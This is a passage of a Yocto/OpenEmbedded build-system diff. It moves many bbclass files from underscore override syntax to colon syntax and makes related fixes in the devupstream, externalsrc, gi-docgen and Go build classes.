+ if (d.getVar('PKG:' + pkg, False) or d.getVar('DEBIAN_NOAUTONAME:' + pkg, False)):
add_rprovides(pkg, d)
continue
- debian_pn = d.getVar('DEBIANNAME_' + pkg, False)
+ debian_pn = d.getVar('DEBIANNAME:' + pkg, False)
if debian_pn:
newpkg = debian_pn
elif pkg == orig_pkg:
@@ -126,7 +130,7 @@ python debian_package_name_hook () {
newpkg = mlpre + newpkg
if newpkg != pkg:
bb.note("debian: renaming %s to %s" % (pkg, newpkg))
- d.setVar('PKG_' + pkg, newpkg)
+ d.setVar('PKG:' + pkg, newpkg)
add_rprovides(pkg, d)
else:
add_rprovides(orig_pkg, d)
diff --git a/meta/classes/devicetree.bbclass b/meta/classes/devicetree.bbclass
index c772ab2ab9..8546c1cf80 100644
--- a/meta/classes/devicetree.bbclass
+++ b/meta/classes/devicetree.bbclass
@@ -18,7 +18,7 @@ SECTION ?= "bsp"
# device trees built with them are at least GPLv2 (and in some cases dual
# licensed). Default to GPLv2 if the recipe does not specify a license.
LICENSE ?= "GPLv2"
-LIC_FILES_CHKSUM ?= "file://${COMMON_LICENSE_DIR}/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+LIC_FILES_CHKSUM ?= "file://${COMMON_LICENSE_DIR}/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
INHIBIT_DEFAULT_DEPS = "1"
DEPENDS += "dtc-native"
@@ -32,7 +32,7 @@ PROVIDES = "virtual/dtb"
PACKAGE_ARCH = "${MACHINE_ARCH}"
SYSROOT_DIRS += "/boot/devicetree"
-FILES_${PN} = "/boot/devicetree/*.dtb /boot/devicetree/*.dtbo"
+FILES:${PN} = "/boot/devicetree/*.dtb /boot/devicetree/*.dtbo"
S = "${WORKDIR}"
B = "${WORKDIR}/build"
diff --git a/meta/classes/devshell.bbclass b/meta/classes/devshell.bbclass
index fdf7dc100f..62dc958d9a 100644
--- a/meta/classes/devshell.bbclass
+++ b/meta/classes/devshell.bbclass
@@ -34,7 +34,7 @@ python () {
d.delVarFlag("do_devshell", "fakeroot")
}
-def devpyshell(d):
+def pydevshell(d):
import code
import select
@@ -128,6 +128,7 @@ def devpyshell(d):
more = i.runsource(source, "<pyshell>")
if not more:
buf = []
+ sys.stderr.flush()
prompt(more)
except KeyboardInterrupt:
i.write("\nKeyboardInterrupt\n")
@@ -139,17 +140,17 @@ def devpyshell(d):
os.kill(child, signal.SIGTERM)
break
-python do_devpyshell() {
+python do_pydevshell() {
import signal
try:
- devpyshell(d)
+ pydevshell(d)
except SystemExit:
# Stop the SIGTERM above causing an error exit code
return
finally:
return
}
-addtask devpyshell after do_patch
+addtask pydevshell after do_patch
-do_devpyshell[nostamp] = "1"
+do_pydevshell[nostamp] = "1"
diff --git a/meta/classes/devupstream.bbclass b/meta/classes/devupstream.bbclass
index 7780c5482c..facc46f3af 100644
--- a/meta/classes/devupstream.bbclass
+++ b/meta/classes/devupstream.bbclass
@@ -4,8 +4,8 @@
#
# Usage:
# BBCLASSEXTEND = "devupstream:target"
-# SRC_URI_class-devupstream = "git://git.example.com/example"
-# SRCREV_class-devupstream = "abcdef"
+# SRC_URI:class-devupstream = "git://git.example.com/example;branch=master"
+# SRCREV:class-devupstream = "abcdef"
#
# If the first entry in SRC_URI is a git: URL then S is rewritten to
# WORKDIR/git.
@@ -16,8 +16,6 @@
# - If the fetcher requires native tools (such as subversion-native) then
# bitbake won't be able to add them automatically.
-CLASSOVERRIDE .= ":class-devupstream"
-
python devupstream_virtclass_handler () {
# Do nothing if this is inherited, as it's for BBCLASSEXTEND
if "devupstream" not in (d.getVar('BBCLASSEXTEND') or ""):
@@ -25,8 +23,8 @@ python devupstream_virtclass_handler () {
return
variant = d.getVar("BBEXTENDVARIANT")
- if variant not in ("target"):
- bb.error("Pass the variant when using devupstream, for example devupstream:target")
+ if variant not in ("target", "native"):
+ bb.error("Unsupported variant %s. Pass the variant when using devupstream, for example devupstream:target" % variant)
return
# Develpment releases are never preferred by default
@@ -34,14 +32,22 @@ python devupstream_virtclass_handler () {
uri = bb.fetch2.URI(d.getVar("SRC_URI").split()[0])
- if uri.scheme == "git":
- d.setVar("S", "${WORKDIR}/git")
+ if uri.scheme == "git" and not d.getVar("S:class-devupstream"):
+ d.setVar("S:class-devupstream", "${WORKDIR}/git")
# Modify the PV if the recipe hasn't already overridden it
pv = d.getVar("PV")
proto_marker = "+" + uri.scheme
- if proto_marker not in pv:
+ if proto_marker not in pv and not d.getVar("PV:class-devupstream"):
d.setVar("PV", pv + proto_marker + "${SRCPV}")
+
+ if variant == "native":
+ pn = d.getVar("PN")
+ d.setVar("PN", "%s-native" % (pn))
+ fn = d.getVar("FILE")
+ bb.parse.BBHandler.inherit("native", fn, 0, d)
+
+ d.appendVar("CLASSOVERRIDE", ":class-devupstream")
}
addhandler devupstream_virtclass_handler
diff --git a/meta/classes/distrooverrides.bbclass b/meta/classes/distrooverrides.bbclass
index 9f4db0d771..bf3a2b2090 100644
--- a/meta/classes/distrooverrides.bbclass
+++ b/meta/classes/distrooverrides.bbclass
@@ -6,7 +6,7 @@
# This makes it simpler to write .bbappends that only change the
# task signatures of the recipe if the change is really enabled,
# for example with:
-# do_install_append_df-my-feature () { ... }
+# do_install:append:df-my-feature () { ... }
# where "my-feature" is a DISTRO_FEATURE.
#
# The class is meant to be used in a layer.conf or distro
@@ -22,8 +22,8 @@ DISTRO_FEATURES_OVERRIDES ?= ""
DISTRO_FEATURES_OVERRIDES[doc] = "A space-separated list of <feature> entries. \
Each entry is added to OVERRIDES as df-<feature> if <feature> is in DISTRO_FEATURES."
-DISTRO_FEATURES_FILTER_NATIVE_append = " ${DISTRO_FEATURES_OVERRIDES}"
-DISTRO_FEATURES_FILTER_NATIVESDK_append = " ${DISTRO_FEATURES_OVERRIDES}"
+DISTRO_FEATURES_FILTER_NATIVE:append = " ${DISTRO_FEATURES_OVERRIDES}"
+DISTRO_FEATURES_FILTER_NATIVESDK:append = " ${DISTRO_FEATURES_OVERRIDES}"
# If DISTRO_FEATURES_OVERRIDES or DISTRO_FEATURES show up in a task
# signature because of this line, then the task dependency on
diff --git a/meta/classes/distutils-common-base.bbclass b/meta/classes/distutils-common-base.bbclass
index 43a38e5a3a..bc994f78de 100644
--- a/meta/classes/distutils-common-base.bbclass
+++ b/meta/classes/distutils-common-base.bbclass
@@ -13,12 +13,12 @@ export CCSHARED = "-fPIC -DPIC"
# the python executable
export LINKFORSHARED = "${SECURITY_CFLAGS} -Xlinker -export-dynamic"
-FILES_${PN} += "${libdir}/* ${libdir}/${PYTHON_DIR}/*"
+FILES:${PN} += "${libdir}/* ${libdir}/${PYTHON_DIR}/*"
-FILES_${PN}-staticdev += "\
+FILES:${PN}-staticdev += "\
${PYTHON_SITEPACKAGES_DIR}/*.a \
"
-FILES_${PN}-dev += "\
+FILES:${PN}-dev += "\
${datadir}/pkgconfig \
${libdir}/pkgconfig \
${PYTHON_SITEPACKAGES_DIR}/*.la \
diff --git a/meta/classes/distutils3-base.bbclass b/meta/classes/distutils3-base.bbclass
index a277d1c7bc..d41873e486 100644
--- a/meta/classes/distutils3-base.bbclass
+++ b/meta/classes/distutils3-base.bbclass
@@ -1,5 +1,6 @@
-DEPENDS += "${@["${PYTHON_PN}-native ${PYTHON_PN}", ""][(d.getVar('PACKAGES') == '')]}"
-RDEPENDS_${PN} += "${@['', '${PYTHON_PN}-core']['${CLASSOVERRIDE}' == 'class-target']}"
+DEPENDS:append:class-target = " ${PYTHON_PN}-native ${PYTHON_PN}"
+DEPENDS:append:class-nativesdk = " ${PYTHON_PN}-native ${PYTHON_PN}"
+RDEPENDS:${PN} += "${@['', '${PYTHON_PN}-core']['${CLASSOVERRIDE}' == 'class-target']}"
inherit distutils-common-base python3native python3targetconfig
diff --git a/meta/classes/distutils3.bbclass b/meta/classes/distutils3.bbclass
index 7356b5245a..be645d37bd 100644
--- a/meta/classes/distutils3.bbclass
+++ b/meta/classes/distutils3.bbclass
@@ -10,30 +10,32 @@ DISTUTILS_INSTALL_ARGS ?= "--root=${D} \
--install-data=${datadir}"
DISTUTILS_PYTHON = "python3"
-DISTUTILS_PYTHON_class-native = "nativepython3"
+DISTUTILS_PYTHON:class-native = "nativepython3"
+
+DISTUTILS_SETUP_PATH ?= "${S}"
distutils3_do_configure() {
:
}
distutils3_do_compile() {
- cd ${S}
+ cd ${DISTUTILS_SETUP_PATH}
NO_FETCH_BUILD=1 \
STAGING_INCDIR=${STAGING_INCDIR} \
STAGING_LIBDIR=${STAGING_LIBDIR} \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} ${S}/setup.py \
+ ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py \
build --build-base=${B} ${DISTUTILS_BUILD_ARGS} || \
bbfatal_log "'${PYTHON_PN} setup.py build ${DISTUTILS_BUILD_ARGS}' execution failed."
}
distutils3_do_compile[vardepsexclude] = "MACHINE"
distutils3_do_install() {
- cd ${S}
+ cd ${DISTUTILS_SETUP_PATH}
install -d ${D}${PYTHON_SITEPACKAGES_DIR}
STAGING_INCDIR=${STAGING_INCDIR} \
STAGING_LIBDIR=${STAGING_LIBDIR} \
PYTHONPATH=${D}${PYTHON_SITEPACKAGES_DIR} \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} ${S}/setup.py \
+ ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py \
build --build-base=${B} install --skip-build ${DISTUTILS_INSTALL_ARGS} || \
bbfatal_log "'${PYTHON_PN} setup.py install ${DISTUTILS_INSTALL_ARGS}' execution failed."
diff --git a/meta/classes/externalsrc.bbclass b/meta/classes/externalsrc.bbclass
index dd09395788..abfe24bace 100644
--- a/meta/classes/externalsrc.bbclass
+++ b/meta/classes/externalsrc.bbclass
@@ -13,7 +13,7 @@
# called "myrecipe" you would do:
#
# INHERIT += "externalsrc"
-# EXTERNALSRC_pn-myrecipe = "/path/to/my/source/tree"
+# EXTERNALSRC:pn-myrecipe = "/path/to/my/source/tree"
#
# In order to make this class work for both target and native versions (or with
# multilibs/cross or other BBCLASSEXTEND variants), B is set to point to a separate
@@ -21,7 +21,7 @@
# the default, but the build directory can be set to the source directory if
# circumstances dictate by setting EXTERNALSRC_BUILD to the same value, e.g.:
#
-# EXTERNALSRC_BUILD_pn-myrecipe = "/path/to/my/source/tree"
+# EXTERNALSRC_BUILD:pn-myrecipe = "/path/to/my/source/tree"
#
SRCTREECOVEREDTASKS ?= "do_patch do_unpack do_fetch"
@@ -45,11 +45,11 @@ python () {
if bpn == d.getVar('PN') or not classextend:
if (externalsrc or
('native' in classextend and
- d.getVar('EXTERNALSRC_pn-%s-native' % bpn)) or
+ d.getVar('EXTERNALSRC:pn-%s-native' % bpn)) or
('nativesdk' in classextend and
- d.getVar('EXTERNALSRC_pn-nativesdk-%s' % bpn)) or
+ d.getVar('EXTERNALSRC:pn-nativesdk-%s' % bpn)) or
('cross' in classextend and
- d.getVar('EXTERNALSRC_pn-%s-cross' % bpn))):
+ d.getVar('EXTERNALSRC:pn-%s-cross' % bpn))):
d.setVar('BB_DONT_CACHE', '1')
if externalsrc:
@@ -68,6 +68,7 @@ python () {
url_data = fetch.ud[url]
parm = url_data.parm
if (url_data.type == 'file' or
+ url_data.type == 'npmsw' or
'type' in parm and parm['type'] == 'kmeta'):
local_srcuri.append(url)
@@ -108,6 +109,15 @@ python () {
if local_srcuri and task in fetch_tasks:
continue
bb.build.deltask(task, d)
+ if task == 'do_unpack':
+ # The reproducible build create_source_date_epoch_stamp function must
+ # be run after the source is available and before the
+ # do_deploy_source_date_epoch task. In the normal case, it's attached
+ # to do_unpack as a postfuncs, but since we removed do_unpack (above)
+ # we need to move the function elsewhere. The easiest thing to do is
+ # move it into the prefuncs of the do_deploy_source_date_epoch task.
+ # This is safe, as externalsrc runs with the source already unpacked.
+ d.prependVarFlag('do_deploy_source_date_epoch', 'prefuncs', 'create_source_date_epoch_stamp ')
d.prependVarFlag('do_compile', 'prefuncs', "externalsrc_compile_prefunc ")
d.prependVarFlag('do_configure', 'prefuncs', "externalsrc_configure_prefunc ")
@@ -190,6 +200,7 @@ def srctree_hash_files(d, srcdir=None):
import shutil
import subprocess
import tempfile
+ import hashlib
s_dir = srcdir or d.getVar('EXTERNALSRC')
git_dir = None
@@ -197,6 +208,10 @@ def srctree_hash_files(d, srcdir=None):
try:
git_dir = os.path.join(s_dir,
subprocess.check_output(['git', '-C', s_dir, 'rev-parse', '--git-dir'], stderr=subprocess.DEVNULL).decode("utf-8").rstrip())
+ top_git_dir = os.path.join(s_dir, subprocess.check_output(['git', '-C', d.getVar("TOPDIR"), 'rev-parse', '--git-dir'],
+ stderr=subprocess.DEVNULL).decode("utf-8").rstrip())
+ if git_dir == top_git_dir:
+ git_dir = None
except subprocess.CalledProcessError:
pass
@@ -210,7 +225,17 @@ def srctree_hash_files(d, srcdir=None):
env = os.environ.copy()
env['GIT_INDEX_FILE'] = tmp_index.name
subprocess.check_output(['git', 'add', '-A', '.'], cwd=s_dir, env=env)
- sha1 = subprocess.check_output(['git', 'write-tree'], cwd=s_dir, env=env).decode("utf-8")
+ git_sha1 = subprocess.check_output(['git', 'write-tree'], cwd=s_dir, env=env).decode("utf-8")
+ submodule_helper = subprocess.check_output(['git', 'submodule--helper', 'list'], cwd=s_dir, env=env).decode("utf-8")
+ for line in submodule_helper.splitlines():
+ module_dir = os.path.join(s_dir, line.rsplit(maxsplit=1)[1])
+ if os.path.isdir(module_dir):
+ proc = subprocess.Popen(['git', 'add', '-A', '.'], cwd=module_dir, env=env, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+ proc.communicate()
+ proc = subprocess.Popen(['git', 'write-tree'], cwd=module_dir, env=env, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
+ stdout, _ = proc.communicate()
+ git_sha1 += stdout.decode("utf-8")
+ sha1 = hashlib.sha1(git_sha1.encode("utf-8")).hexdigest()
with open(oe_hash_file, 'w') as fobj:
fobj.write(sha1)
ret = oe_hash_file + ':True'
diff --git a/meta/classes/extrausers.bbclass b/meta/classes/extrausers.bbclass
index 90811bfe2a..a8ef660b30 100644
--- a/meta/classes/extrausers.bbclass
+++ b/meta/classes/extrausers.bbclass
@@ -14,10 +14,10 @@
inherit useradd_base
-PACKAGE_INSTALL_append = " ${@['', 'base-passwd shadow'][bool(d.getVar('EXTRA_USERS_PARAMS'))]}"
+PACKAGE_INSTALL:append = " ${@['', 'base-passwd shadow'][bool(d.getVar('EXTRA_USERS_PARAMS'))]}"
# Image level user / group settings
-ROOTFS_POSTPROCESS_COMMAND_append = " set_user_group;"
+ROOTFS_POSTPROCESS_COMMAND:append = " set_user_group;"
# Image level user / group settings
set_user_group () {
diff --git a/meta/classes/features_check.bbclass b/meta/classes/features_check.bbclass
index b3c8047861..205e1b9cd3 100644
--- a/meta/classes/features_check.bbclass
+++ b/meta/classes/features_check.bbclass
@@ -1,6 +1,6 @@
# Allow checking of required and conflicting features
#
-# xxx = [DISTRO,MACHINE,COMBINED]
+# xxx = [DISTRO,MACHINE,COMBINED,IMAGE]
#
# ANY_OF_xxx_FEATURES: ensure at least one item on this list is included
# in xxx_FEATURES.
@@ -18,7 +18,7 @@ python () {
unused = True
- for kind in ['DISTRO', 'MACHINE', 'COMBINED']:
+ for kind in ['DISTRO', 'MACHINE', 'COMBINED', 'IMAGE']:
if d.getVar('ANY_OF_' + kind + '_FEATURES') is None and \
d.overridedata.get('ANY_OF_' + kind + '_FEATURES') is None and \
d.getVar('REQUIRED_' + kind + '_FEATURES') is None and \
diff --git a/meta/classes/fontcache.bbclass b/meta/classes/fontcache.bbclass
index 624a420a0d..442bfc7392 100644
--- a/meta/classes/fontcache.bbclass
+++ b/meta/classes/fontcache.bbclass
@@ -35,23 +35,23 @@ python () {
deps = d.getVar("FONT_EXTRA_RDEPENDS")
for pkg in font_pkgs:
- if deps: d.appendVar('RDEPENDS_' + pkg, ' '+deps)
+ if deps: d.appendVar('RDEPENDS:' + pkg, ' '+deps)
}
python add_fontcache_postinsts() {
for pkg in d.getVar('FONT_PACKAGES').split():
bb.note("adding fonts postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg) or d.getVar('pkg_postinst')
+ postinst = d.getVar('pkg_postinst:%s' % pkg) or d.getVar('pkg_postinst')
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('fontcache_common')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg) or d.getVar('pkg_postrm')
+ postrm = d.getVar('pkg_postrm:%s' % pkg) or d.getVar('pkg_postrm')
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('fontcache_common')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
PACKAGEFUNCS =+ "add_fontcache_postinsts"
diff --git a/meta/classes/gconf.bbclass b/meta/classes/gconf.bbclass
index 3e3c509d5f..9d3668edd3 100644
--- a/meta/classes/gconf.bbclass
+++ b/meta/classes/gconf.bbclass
@@ -41,7 +41,7 @@ for SCHEMA in ${SCHEMA_FILES}; do
done
}
-python populate_packages_append () {
+python populate_packages:append () {
import re
packages = d.getVar('PACKAGES').split()
pkgdest = d.getVar('PKGDEST')
@@ -57,15 +57,15 @@ python populate_packages_append () {
if schemas != []:
bb.note("adding gconf postinst and prerm scripts to %s" % pkg)
d.setVar('SCHEMA_FILES', " ".join(schemas))
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gconf_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
- prerm = d.getVar('pkg_prerm_%s' % pkg)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+ prerm = d.getVar('pkg_prerm:%s' % pkg)
if not prerm:
prerm = '#!/bin/sh\n'
prerm += d.getVar('gconf_prerm')
- d.setVar('pkg_prerm_%s' % pkg, prerm)
- d.appendVar("RDEPENDS_%s" % pkg, ' ' + d.getVar('MLPREFIX', False) + 'gconf')
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
+ d.appendVar("RDEPENDS:%s" % pkg, ' ' + d.getVar('MLPREFIX', False) + 'gconf')
}
diff --git a/meta/classes/gettext.bbclass b/meta/classes/gettext.bbclass
index be2ef3b311..f11cb04456 100644
--- a/meta/classes/gettext.bbclass
+++ b/meta/classes/gettext.bbclass
@@ -13,10 +13,10 @@ def gettext_oeconf(d):
return '--disable-nls'
return "--enable-nls"
-BASEDEPENDS_append = " ${@gettext_dependencies(d)}"
-EXTRA_OECONF_append = " ${@gettext_oeconf(d)}"
+BASEDEPENDS:append = " ${@gettext_dependencies(d)}"
+EXTRA_OECONF:append = " ${@gettext_oeconf(d)}"
# Without this, msgfmt from gettext-native will not find ITS files
# provided by target recipes (for example, polkit.its).
-GETTEXTDATADIRS_append_class-target = ":${STAGING_DATADIR}/gettext"
+GETTEXTDATADIRS:append:class-target = ":${STAGING_DATADIR}/gettext"
export GETTEXTDATADIRS
diff --git a/meta/classes/gi-docgen.bbclass b/meta/classes/gi-docgen.bbclass
new file mode 100644
index 0000000000..15581ca127
--- /dev/null
+++ b/meta/classes/gi-docgen.bbclass
@@ -0,0 +1,24 @@
+# gi-docgen is a new gnome documentation generator, which
+# seems to be a successor to gtk-doc:
+# https://gitlab.gnome.org/GNOME/gi-docgen
+
+# This variable is set to True if api-documentation is in
+# DISTRO_FEATURES, and False otherwise.
+GIDOCGEN_ENABLED ?= "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'True', 'False', d)}"
+# When building native recipes, disable gi-docgen, as it is not necessary,
+# pulls in additional dependencies, and makes build times longer
+GIDOCGEN_ENABLED:class-native = "False"
+GIDOCGEN_ENABLED:class-nativesdk = "False"
+
+# meson: default option name to enable/disable gi-docgen. This matches most
+# projects' configuration. In doubts - check meson_options.txt in project's
+# source path.
+GIDOCGEN_MESON_OPTION ?= 'gtk_doc'
+GIDOCGEN_MESON_ENABLE_FLAG ?= 'true'
+GIDOCGEN_MESON_DISABLE_FLAG ?= 'false'
+
+# Auto enable/disable based on GIDOCGEN_ENABLED
+EXTRA_OEMESON:prepend = "-D${GIDOCGEN_MESON_OPTION}=${@bb.utils.contains('GIDOCGEN_ENABLED', 'True', '${GIDOCGEN_MESON_ENABLE_FLAG}', '${GIDOCGEN_MESON_DISABLE_FLAG}', d)} "
+
+DEPENDS:append = "${@' gi-docgen-native gi-docgen' if d.getVar('GIDOCGEN_ENABLED') == 'True' else ''}"
+
diff --git a/meta/classes/gio-module-cache.bbclass b/meta/classes/gio-module-cache.bbclass
index e429bd3197..021eeb1cf8 100644
--- a/meta/classes/gio-module-cache.bbclass
+++ b/meta/classes/gio-module-cache.bbclass
@@ -17,22 +17,22 @@ else
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
packages = d.getVar('GIO_MODULE_PACKAGES').split()
for pkg in packages:
bb.note("adding gio-module-cache postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gio_module_cache_common')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('gio_module_cache_common')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
diff --git a/meta/classes/glide.bbclass b/meta/classes/glide.bbclass
index db421745bd..2db4ac6846 100644
--- a/meta/classes/glide.bbclass
+++ b/meta/classes/glide.bbclass
@@ -2,8 +2,8 @@
#
# Copyright 2018 (C) O.S. Systems Software LTDA.
-DEPENDS_append = " glide-native"
+DEPENDS:append = " glide-native"
-do_compile_prepend() {
+do_compile:prepend() {
( cd ${B}/src/${GO_IMPORT} && glide install )
}
diff --git a/meta/classes/gnomebase.bbclass b/meta/classes/gnomebase.bbclass
index efcb6caae1..9a5bd9a232 100644
--- a/meta/classes/gnomebase.bbclass
+++ b/meta/classes/gnomebase.bbclass
@@ -1,12 +1,13 @@
def gnome_verdir(v):
- return oe.utils.trim_version(v, 2)
+ return ".".join(v.split(".")[:-1])
+
GNOME_COMPRESS_TYPE ?= "xz"
SECTION ?= "x11/gnome"
GNOMEBN ?= "${BPN}"
SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive"
-FILES_${PN} += "${datadir}/application-registry \
+FILES:${PN} += "${datadir}/application-registry \
${datadir}/mime-info \
${datadir}/mime/packages \
${datadir}/mime/application \
@@ -18,12 +19,12 @@ FILES_${PN} += "${datadir}/application-registry \
${datadir}/icons \
"
-FILES_${PN}-doc += "${datadir}/devhelp"
+FILES:${PN}-doc += "${datadir}/devhelp"
GNOMEBASEBUILDCLASS ??= "autotools"
inherit ${GNOMEBASEBUILDCLASS} pkgconfig
-do_install_append() {
+do_install:append() {
rm -rf ${D}${localstatedir}/lib/scrollkeeper/*
rm -rf ${D}${localstatedir}/scrollkeeper/*
rm -f ${D}${datadir}/applications/*.cache
diff --git a/meta/classes/go-mod.bbclass b/meta/classes/go-mod.bbclass
index cabb04d0ec..674d2434e0 100644
--- a/meta/classes/go-mod.bbclass
+++ b/meta/classes/go-mod.bbclass
@@ -12,7 +12,7 @@
# The '-modcacherw' option ensures we have write access to the cached objects so
# we avoid errors during clean task as well as when removing the TMPDIR.
-GOBUILDFLAGS_append = " -modcacherw"
+GOBUILDFLAGS:append = " -modcacherw"
inherit go
diff --git a/meta/classes/go-ptest.bbclass b/meta/classes/go-ptest.bbclass
index e230a80587..b282ff7374 100644
--- a/meta/classes/go-ptest.bbclass
+++ b/meta/classes/go-ptest.bbclass
@@ -50,5 +50,5 @@ do_install_ptest_base() {
chown -R root:root ${D}${PTEST_PATH}
}
-INSANE_SKIP_${PN}-ptest += "ldflags"
+INSANE_SKIP:${PN}-ptest += "ldflags"
diff --git a/meta/classes/go.bbclass b/meta/classes/go.bbclass
index a9e31b50ea..aa54b4a08c 100644
--- a/meta/classes/go.bbclass
+++ b/meta/classes/go.bbclass
@@ -2,8 +2,8 @@ inherit goarch
GO_PARALLEL_BUILD ?= "${@oe.utils.parallel_make_argument(d, '-p %d')}"
-GOROOT_class-native = "${STAGING_LIBDIR_NATIVE}/go"
-GOROOT_class-nativesdk = "${STAGING_DIR_TARGET}${libdir}/go"
+GOROOT:class-native = "${STAGING_LIBDIR_NATIVE}/go"
+GOROOT:class-nativesdk = "${STAGING_DIR_TARGET}${libdir}/go"
GOROOT = "${STAGING_LIBDIR}/go"
export GOROOT
export GOROOT_FINAL = "${libdir}/go"
@@ -15,45 +15,46 @@ export GOHOSTARCH="${BUILD_GOARCH}"
export GOHOSTOS="${BUILD_GOOS}"
GOARM[export] = "0"
-GOARM_arm_class-target = "${TARGET_GOARM}"
-GOARM_arm_class-target[export] = "1"
+GOARM:arm:class-target = "${TARGET_GOARM}"
+GOARM:arm:class-target[export] = "1"
GO386[export] = "0"
-GO386_x86_class-target = "${TARGET_GO386}"
-GO386_x86_class-target[export] = "1"
+GO386:x86:class-target = "${TARGET_GO386}"
+GO386:x86:class-target[export] = "1"
GOMIPS[export] = "0"
-GOMIPS_mips_class-target = "${TARGET_GOMIPS}"
-GOMIPS_mips_class-target[export] = "1"
+GOMIPS:mips:class-target = "${TARGET_GOMIPS}"
+GOMIPS:mips:class-target[export] = "1"
-DEPENDS_GOLANG_class-target = "virtual/${TUNE_PKGARCH}-go virtual/${TARGET_PREFIX}go-runtime"
-DEPENDS_GOLANG_class-native = "go-native"
-DEPENDS_GOLANG_class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk virtual/${TARGET_PREFIX}go-runtime"
+DEPENDS_GOLANG:class-target = "virtual/${TUNE_PKGARCH}-go virtual/${TARGET_PREFIX}go-runtime"
+DEPENDS_GOLANG:class-native = "go-native"
+DEPENDS_GOLANG:class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk virtual/${TARGET_PREFIX}go-runtime"
-DEPENDS_append = " ${DEPENDS_GOLANG}"
+DEPENDS:append = " ${DEPENDS_GOLANG}"
GO_LINKSHARED ?= "${@'-linkshared' if d.getVar('GO_DYNLINK') else ''}"
GO_RPATH_LINK = "${@'-Wl,-rpath-link=${STAGING_DIR_TARGET}${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
GO_RPATH = "${@'-r ${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
-GO_RPATH_class-native = "${@'-r ${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
-GO_RPATH_LINK_class-native = "${@'-Wl,-rpath-link=${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
+GO_RPATH:class-native = "${@'-r ${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
+GO_RPATH_LINK:class-native = "${@'-Wl,-rpath-link=${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
GO_EXTLDFLAGS ?= "${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS} ${GO_RPATH_LINK} ${LDFLAGS}"
GO_LINKMODE ?= ""
-GO_LINKMODE_class-nativesdk = "--linkmode=external"
-GO_LDFLAGS ?= '-ldflags="${GO_RPATH} ${GO_LINKMODE} -extldflags '${GO_EXTLDFLAGS}'"'
+GO_LINKMODE:class-nativesdk = "--linkmode=external"
+GO_LINKMODE:class-native = "--linkmode=external"
+GO_EXTRA_LDFLAGS ?= ""
+GO_LDFLAGS ?= '-ldflags="${GO_RPATH} ${GO_LINKMODE} ${GO_EXTRA_LDFLAGS} -extldflags '${GO_EXTLDFLAGS}'"'
export GOBUILDFLAGS ?= "-v ${GO_LDFLAGS} -trimpath"
export GOPATH_OMIT_IN_ACTIONID ?= "1"
export GOPTESTBUILDFLAGS ?= "${GOBUILDFLAGS} -c"
export GOPTESTFLAGS ?= ""
-GOBUILDFLAGS_prepend_task-compile = "${GO_PARALLEL_BUILD} "
+GOBUILDFLAGS:prepend:task-compile = "${GO_PARALLEL_BUILD} "
export GO = "${HOST_PREFIX}go"
GOTOOLDIR = "${STAGING_LIBDIR_NATIVE}/${TARGET_SYS}/go/pkg/tool/${BUILD_GOTUPLE}"
-GOTOOLDIR_class-native = "${STAGING_LIBDIR_NATIVE}/go/pkg/tool/${BUILD_GOTUPLE}"
+GOTOOLDIR:class-native = "${STAGING_LIBDIR_NATIVE}/go/pkg/tool/${BUILD_GOTUPLE}"
export GOTOOLDIR
export CGO_ENABLED ?= "1"
-export CGO_ENABLED_riscv64 = "0"
export CGO_CFLAGS ?= "${CFLAGS}"
export CGO_CPPFLAGS ?= "${CPPFLAGS}"
export CGO_CXXFLAGS ?= "${CXXFLAGS}"
@@ -115,7 +116,8 @@ go_do_install() {
